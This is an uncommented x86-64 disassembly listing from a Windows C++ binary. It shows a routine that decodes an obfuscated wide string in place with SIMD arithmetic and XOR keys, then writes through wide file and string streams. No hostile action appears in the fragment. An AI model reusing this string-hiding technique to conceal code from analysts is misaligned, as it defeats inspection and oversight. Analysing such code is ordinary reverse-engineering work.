call fcn.140240b00
mov r11, rax
movups xmm11, xmmword [0x14026f340]
movups xmmword [rbp - 0x40], xmm11
movq xmm12, qword [0x14026f350]
movq qword [rbp - 0x30], xmm12
movzx eax, word [0x14026f358]
mov word [rbp - 0x28], ax
mov r9d, r15d
cmp ebx, 2
jl 0x1401f9e31
movdqa xmm6, xmmword [0x1402702f0]
movdqa xmm7, xmmword [0x140270300]
movdqa xmm9, xmmword [str.ffffkkkk]
movdqa xmm8, xmmword [0x140270310]
movdqa xmm10, xmmword [str.________]
movdqa xmm5, xmmword [0x1402701a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, xmm11
xorps xmm3, xmm1
movq qword [rbp - 0x40], xmm3
movdqa xmm5, xmmword [0x1402701c0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, qword [rbp - 0x38]
xorps xmm3, xmm1
movq qword [rbp - 0x38], xmm3
movdqa xmm5, xmmword [0x1402701e0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, xmm12
xorps xmm3, xmm1
movq qword [rbp - 0x30], xmm3
mov r9d, 0xc
mov eax, r9d
lea r10, [rbp - 0x40]
lea r10, [r10 + rax*2]
nop dword [rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x3b
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x33
sub cx, r8w
add cx, r9w
add cx, cx
add cx, 0x3b
xor word [r10], cx
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0xd
jl 0x1401f9e40
lea rdx, [rbp - 0x40]
mov rcx, r11
call fcn.140239e00
lea rcx, [rbp + 0x138]
call fcn.140238030
test rax, rax
jne 0x1401f9ed5
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x130]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp - 0x20]
call fcn.140238600
movups xmm0, xmmword [rbp]
movups xmmword [r13], xmm0
movups xmm1, xmmword [rbp + 0x10]
movups xmmword [r13 + 0x10], xmm1
movdqa xmm0, xmmword [0x140270180]
movdqu xmmword [rbp + 0x10], xmm0
mov word [rbp], r15w
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x130], rax
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x12c], edx
lea rcx, [rbp + 0x138]
call fcn.1402353c0
lea rcx, [rbp + 0x140]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0x1d8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
nop
lea rcx, [rbp]
call fcn.140238600
nop
lea rcx, [rbp + 0x20]
call fcn.140238600
nop
mov rcx, qword [rbp + 0x40]
movsxd rdx, dword [rcx + 4]
lea rax, vtable.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rdx + 0x40], rax
mov rcx, qword [rbp + 0x40]
movsxd rdx, dword [rcx + 4]
lea r8d, [rdx - 0x88]
mov dword [rbp + rdx + 0x3c], r8d
jmp 0x1401fa066
xor ebx, ebx
mov word [rsp + 0x30], bx
movups xmmword [r13], xmm0
mov qword [r13 + 0x10], rbx
mov qword [r13 + 0x18], rbx
lea rax, [rsp + 0x30]
nop dword [rax]
inc rsi
cmp word [rax + rsi*2], bx
jne 0x1401f9fc0
mov r8, rsi
lea rdx, [rsp + 0x30]
mov rcx, r13
call fcn.14023bc20
nop
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x130], rdi
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x12c], edx
lea rcx, [rbp + 0x138]
call fcn.1402353c0
lea rcx, [rbp + 0x140]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0x1d8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
nop
lea rcx, [rbp]
call fcn.140238600
nop
lea rcx, [rbp + 0x20]
call fcn.140238600
nop
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rcx + 0x40], rax
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx + 0x3c], edx
lea rcx, [rbp + 0x48]
call fcn.140235a60
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0xc8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
mov rax, r13
mov rcx, qword [rbp + 0x17e0]
xor rcx, rsp
call fcn.14025d7c0
lea r11, [rsp + 0x1960]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret